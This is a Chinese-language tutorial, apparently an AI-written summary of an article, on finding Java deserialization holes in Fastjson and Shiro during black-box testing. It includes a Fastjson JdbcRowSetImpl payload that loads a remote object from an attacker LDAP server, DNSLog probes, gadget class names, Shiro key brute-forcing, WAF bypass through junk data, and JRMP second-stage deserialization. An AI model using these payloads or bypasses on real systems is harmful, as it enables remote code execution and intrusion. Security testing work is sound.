实战中Java反序列化漏洞黑盒挖掘思路(教学文档)
文档概述
本文档旨在详细阐述在黑盒测试场景下,如何系统性地挖掘Java反序列化漏洞。内容基于实战经验,重点覆盖Fastjson和Shiro两大高危组件,包含漏洞识别、利用链判断、WAF绕过、不出网利用等关键技巧。
一、Fastjson反序列化漏洞挖掘
Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞危害极大且广泛存在。
1.1 漏洞识别与组件判断
目标: 确认目标应用是否使用了Fastjson进行JSON解析。
方法:
- 拦截HTTP请求,观察请求体(Request Body)是否为JSON格式。
- 主动触发报错:在JSON数据中故意制造语法错误,例如删除最后一个闭合的括号
}。 - 分析报错信息:如果返回的报错信息中包含
com.alibaba.fastjson.JSONException等字样,即可确认使用了Fastjson。
1.2 漏洞探测与利用
确认使用Fastjson后,下一步是探测其是否存在可利用的反序列化漏洞。
方法一:DNSLog外带探测(出网场景)
这是最安全、最常用的探测方式。
- Payload:
{"zero":{"@type":"java.net.Inet4Address","val":"你的DNSLog域名"}} - 原理: 此Payload会尝试实例化
Inet4Address类并解析指定的域名。如果目标服务器存在漏洞且能出网,你的DNSLog平台就会收到解析记录。 - 作用: 此Payload通用性较强,可用于快速探测1.2.24至1.2.83版本的Fastjson。
方法二:报错回显判断版本(无回显或不出网场景)
通过特定Payload触发不同的报错信息来推测版本。
- Payload:
{"@type":"java.lang.AutoCloseable"a["test":1] - 原理: 这是一个畸形的JSON。不同版本的Fastjson对此畸形结构的处理方式不同,返回的报错信息也会有差异,经验丰富的测试者可以借此推断大版本范围。
方法三:直接利用(已知版本较低)
如果通过信息泄露或其他途径已知目标Fastjson版本较低(如 <= 1.2.47),可直接尝试利用经典链。
- Payload(JdbcRowSetImpl链,通杀1.2.24-1.2.47):
{ "v47": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "xxx": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://你的恶意LDAP服务器地址/Exploit", "autoCommit": true } } - 原理: 利用Fastjson反序列化机制实例化
JdbcRowSetImpl类,并通过其setAutoCommit方法触发JNDI注入,加载远程恶意对象,实现RCE。
方法四:不出网利用
当目标服务器无法访问外网时,需要寻找不依赖外连的利用链(通常需要目标ClassPath中存在相应的依赖)。
- 探测思路: 尝试使用一些常见的不出网利用链的类名作为
@type的值,通过观察响应时间或报错信息来判断该类是否存在。 - 常见的不出网利用链基础类:
com.mchange.v2.c3p0.WrapperConnectionPoolDataSourceorg.apache.tomcat.dbcp.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceorg.apache.ibatis.datasource.unpooled.UnpooledDataSource
- 工具辅助: 可以使用 Java Chains 等工具来生成对应的Payload。
方法五:二次反序列化(如c3p0链)
某些链(如c3p0)本身不直接执行命令,但可以将一个序列化后的恶意对象作为字节码加载,在目标上触发第二次反序列化来执行代码。这在绕过某些初级过滤时可能有效。
二、Shiro反序列化漏洞挖掘
Shiro是一个Java安全框架,其RememberMe功能的反序列化漏洞同样非常普遍。
2.1 漏洞识别
目标: 确认目标应用使用了Shiro,且RememberMe功能开启。
方法:
- 观察HTTP请求的Cookie中是否存在
rememberMe字段。只要存在该字段,无论其值为何,都值得深入测试。
2.2 密钥爆破与WAF绕过
Shiro漏洞利用的前提是获取用于加密序列化数据的AES密钥。该密钥如果未修改,通常是默认的弱密钥。因此,核心步骤是爆破密钥。
基础爆破:
使用工具(如ShiroAttack2、shiro_exploit)加载密钥字典,对捕获的RememberMe Cookie进行解密尝试。如果解密成功且反序列化内容正确,则爆破成功。
WAF绕过技巧:
如果直接爆破被WAF拦截,可采用以下方法:
- Cookie名称污染: 在
rememberMe字段的名称中插入特殊字符(也称为“脏数据”),如rememberMe@、rememberMe$、rememberMe_等。Shiro在获取Cookie值时对这些字符不敏感,但WAF可能无法正确识别。- 例如:
Cookie: rememberMe@=...; rememberMe$=...
- 例如:
- POST参数污染: 将攻击载荷从Cookie移动到POST请求体中,并添加一个包含大量脏数据(如4MB的无用数据)的参数,以拖垮WAF的检测能力。
- 文章中作者提供了一个专门用于添加脏数据绕过WAF的脚本工具。
2.3 有Key无链的处理
爆破出密钥后,可能会遇到“有Key无链”的情况,即目标ClassPath中没有常见的利用链(如CommonsCollections, CB链等)。
解决方案:
- 探测可用链: 使用工具(如文章再次提到的 Java Chains)自动生成各种链的Payload,并通过DNSLog外带请求来判断哪些链在目标上可用。如果不出网,可通过延时(如使用
Thread.sleep())来判断命令是否执行。 - JRMP二次反序列化:
- 原理: 在攻击者控制的服务器上开启一个JRMP监听器,然后让Shiro反序列化一个连接到该JRMP服务的Payload。当目标连接时,JRMP服务会返回一个恶意的序列化对象,在目标端触发二次反序列化。
- 优势: 可以有效绕过仅检查反序列化流中是否包含
Runtime、ProcessBuilder等危险类名的初级过滤器,因为第一次反序列化的连接操作本身不包含这些类。
关键工具与资源总结
- DNSLog平台: 用于出网探测,如ceye.io, dnslog.cn等。
- Java Chains: 文中多次提及,用于生成各种反序列化利用链的Payload。
- Shiro密钥爆破与利用工具: 如ShiroAttack2、shiro_exploit等。
- JRMP监听器: 包含在ysoserial等工具中,用于二次反序列化攻击。
总结:黑盒挖掘流程
- 信息收集: 拦截所有请求,重点关注JSON格式的请求体和Cookie中的
rememberMe字段。 - Fastjson检测: 通过报错法判断。存在则按版本尝试DNSLog探测、JNDI注入或不出网利用。
- Shiro检测: 发现
rememberMeCookie即尝试密钥爆破。遇WAF则使用脏数据绕过。爆破成功后有链打链,无链尝试JRMP二次反序列化或探测其他链。 - 原生反序列化: 留意接收
acceptedContentType为application/x-java-serialized-object等特征的端点,但实战中较组件漏洞更为少见。
希望这份详尽的文档能对您有所帮助!